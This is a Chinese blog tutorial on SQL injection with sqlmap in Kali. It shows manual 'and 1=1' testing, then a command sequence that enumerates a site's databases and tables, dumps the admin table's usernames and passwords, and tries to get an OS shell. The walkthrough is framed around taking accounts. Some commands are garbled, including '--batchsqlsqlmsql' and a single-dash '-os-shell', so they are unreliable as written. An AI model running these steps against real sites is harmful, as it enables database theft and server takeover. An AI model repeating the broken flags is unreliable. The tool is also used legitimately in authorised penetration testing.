kali基于sqlmap的使用

简介: 网安实例分享

介绍:

       SQL注入是指攻击者通过把恶意SQL命令插入到web表单的输入域或页面请求的查询字符串中,并且插入的恶意SQL命令会导致原有SQL语句作用发生改变,从而欺骗服务器执行恶意的SQL命令的一种攻击方式

测试过程

形如,一条网页的链接为http://888.cn/?id=1,可以清楚看到链接后边有一串形如?id=1的字符。 这时只要在链接后边加上 and+1=1,如果页面显示正常没有出现报错,则再将and+1=1 替换为 and+1=2,此时如果页面出现报错,可以判断存在注入攻击点。

以上为手注实现判断,今天讲解sql注入的自动化工具sqlmap,工具kali自带。

1.检测注入点

sqlmap -u URL

图片.png

可以检测到id参数存在注入点

2.爆出所有数据库信息

sqlmap -u URL --dbs

图片.png

可以看出当前站点有三个数据库,名称如图

3.爆出当前数据库信息

sqlmap -u URL --current-db

图片.png

可以看出当前数据库名称为 ‘maoshe

4.指定库名列出所有表

sqlmap -u URL -D maoshe --tables

图片.png

可以卡出当前数据库下的所有表名,找到有敏感信息的表名admin

5.指定库名表名列出所有字段

sqlmap -u URL -D maoshe -T admin --columns

图片.png

可以看出当前表名下的字段名

6.指定库名表名dump出指定字段

sqlmap -u URL -D maoshe -T admin -C Id,password,username --dump

图片.png

可以看出当前的用户名密码了,ok,拿到账号密码。

补充

查询是否有sql注入dba权限

sqlmap -u URL --is-dba

图片.png

此站显然没有如有应为True,如为True情况下执行如下,弹出shell即可拿下,一般不能实现。

sqlmap -u URL -os-shell

PS:(1)当你sqlmap时如果要默认选项全是y时

          sqlmap -u URL --batchsqlsqlmsql

     (2)sqlmap扫描无法连接信息 (将sqlmap值改为任意值)

          sqlmap -u URL --random-agent (-D mian_域名 --tables)

总结

SQL注入攻击是通过操作输入来修改SQL语句在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。

相关文章
|
Serverless C语言 C++
【数学建模】利用C语言来实现 太阳赤纬 太阳高度角 太阳方位角 计算和求解分析 树木树冠阴影面积与种植间距的编程计算分析研究
【数学建模】利用C语言来实现 太阳赤纬 太阳高度角 太阳方位角 计算和求解分析 树木树冠阴影面积与种植间距的编程计算分析研究
568 1
|
存储 安全 网络安全
云计算与网络安全:现状、挑战与前景
随着信息技术的快速发展,云计算作为一种革命性的计算模式,极大地推动了现代社会的数字化转型。然而,随之而来的是网络安全面临的新挑战,特别是在云服务和信息安全领域。本文将探讨云计算在网络安全中的关键作用,分析当前面临的挑战,并展望未来的发展前景。
224 1
|
10月前
|
供应链 搜索推荐 算法
淘宝电商运营的小秘籍,看完血赚。
在淘宝电商竞争激烈的环境中,掌握实用运营技巧是成功的关键。本文深入剖析了淘宝电商运营的五大核心策略:精准市场定位与选品、引人入胜的店铺装修、优质客户服务、灵活营销推广及数据驱动决策。通过这些技巧,你可以在淘宝平台上打造独具魅力的店铺,吸引更多流量和客户,实现销售业绩稳步增长,最终脱颖而出,成为知名品牌。
941 10
|
SQL 安全 测试技术
Kali下Sqlmap工具使用方法之POST方法篇
Kali下Sqlmap工具使用方法之POST方法篇
370 0
|
并行计算 API 异构计算
JAX 中文文档(十六)(2)
JAX 中文文档(十六)
509 1
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)
|
虚拟化
Kali——环境安装与配置
Kali——环境安装与配置
318 0
|
机器学习/深度学习 自然语言处理 知识图谱
在低资源语境下,大模型如何提高自然语言处理的鲁棒性?
在低资源语境下,大模型如何提高自然语言处理的鲁棒性?